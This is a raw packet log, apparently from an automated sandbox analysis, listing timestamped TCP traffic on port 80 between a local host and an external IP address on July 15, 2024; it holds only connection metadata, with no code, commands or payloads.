Jul 15, 2024 00:48:22.643699884 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.643728971 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.644439936 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.644452095 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.644462109 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.644473076 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.644490957 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.644501925 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.644503117 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.644510984 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.644516945 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.644529104 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.644531965 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.644541025 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.644551992 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.644561052 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.644563913 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.644575119 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.644579887 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.644587040 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.644598007 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.644603968 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.644620895 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.644642115 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.645386934 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.645397902 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.645409107 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.645421028 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.645431042 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.645432949 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.645446062 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.645451069 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.645457029 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.645467997 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.645478964 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.645478964 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.645489931 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.645493031 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.645500898 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.645510912 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.645520926 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.645524025 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.645534992 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.645550013 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.645560026 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.645580053 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.646352053 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.646363974 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.646373987 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.646384954 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.646394014 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.646404982 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.646405935 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.646415949 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.646426916 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.646434069 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.646439075 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.646450043 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.646452904 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.646464109 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.646467924 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.646476030 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.646486998 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.646495104 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.646501064 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.646512032 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.646518946 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.646537066 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.646554947 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.647243023 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.647254944 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.647264957 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.647277117 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.647288084 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.647299051 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.647300959 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.647311926 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.647321939 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.647325993 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.647332907 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.647341967 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.647345066 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.647356987 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.647367954 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.647372007 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.647382021 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.647397995 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.647412062 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.648135900 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.648149014 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.648159027 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.648169994 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.648185015 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.648204088 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.648232937 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.648245096 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.648256063 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.648273945 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.648298025 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.648911953 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.648963928 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.649148941 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.649161100 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.649171114 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.649199963 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.649224043 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.649226904 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.649235964 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.649246931 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.649259090 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.649260998 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.649271011 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.649279118 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.649282932 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.649291992 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.649293900 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.649307013 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.649317980 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.649321079 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.649333000 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.649334908 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.649343967 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.649363041 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.649389029 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.650099039 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.650110960 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.650121927 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.650134087 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.650141954 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.650145054 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.650156975 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.650168896 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.650168896 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.650181055 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.650192022 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.650197029 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.650203943 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.650216103 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.650229931 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.650255919 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.651150942 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.651173115 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.651184082 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.651195049 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.651206970 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.651207924 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.651218891 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.651221991 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.651228905 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.651240110 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.651252985 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.651268959 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.651287079 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.651880026 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.651891947 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.651901960 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.651915073 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.651927948 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.651954889 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.652015924 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.652028084 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.652061939 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.652076006 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.652182102 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.652194023 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.652203083 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.652214050 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.652225018 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.652230978 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.652237892 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.652249098 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.652257919 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.652261972 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.652271032 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.652272940 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.652286053 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.652297020 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.652301073 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.652308941 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.652319908 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.652328014 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.652332067 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.652342081 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.652348042 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.652367115 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.652379990 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.653167963 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.653179884 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.653188944 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.653199911 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.653212070 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.653220892 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.653223991 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.653234959 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.653247118 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.653248072 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.653258085 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.653260946 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.653269053 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.653280973 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.653289080 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.653294086 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.653306007 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.653316975 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.653316975 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.653330088 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.653331041 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.653342962 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.653354883 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.653357983 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.653381109 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.653398991 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.654150009 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.654160976 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.654171944 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.654184103 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.654194117 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.654205084 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.654206991 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.654217958 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.654228926 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.654238939 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.654239893 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.654251099 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.654257059 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.654263020 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.654274940 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.654277086 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.654288054 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.654295921 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.654299021 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.654310942 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.654311895 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.654324055 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.654340982 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.654366970 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.654851913 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.654864073 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.654875040 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.654886961 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.654898882 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.654928923 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.655105114 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.655117035 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.655128002 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.655138969 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.655150890 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.655153036 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.655160904 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.655167103 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.655173063 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.655190945 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.655200958 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.655203104 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.655213118 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.655224085 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.655230045 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.655236959 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.655247927 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.655252934 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.655265093 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.655271053 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.655278921 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.655296087 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.655298948 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.655318022 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.655333042 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.656155109 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.656166077 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.656174898 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.656186104 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.656196117 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.656205893 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.656207085 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.656230927 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.656244040 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.656248093 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.656259060 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.656267881 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.656279087 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.656286001 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.656290054 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.656301022 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.656310081 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.656313896 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.656326056 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.656337023 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.656338930 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.656347990 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.656353951 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.656358957 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.656368017 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.656385899 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.656409979 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.657095909 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.657107115 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.657116890 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.657126904 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.657138109 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.657149076 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.657150030 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.657160997 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.657172918 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.657176018 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.657183886 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.657192945 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.657193899 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.657205105 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.657212019 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.657217026 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.657227993 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.657234907 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.657238960 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.657249928 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.657260895 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.657263994 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.657270908 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.657282114 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.657294989 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.657321930 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.658039093 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.658049107 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.658060074 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.658068895 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.658080101 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.658082962 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.658090115 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.658097029 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.658101082 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.658111095 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.658122063 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.658128023 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.658133030 CEST	80	49704	38.180.60.246	192.168.2.5
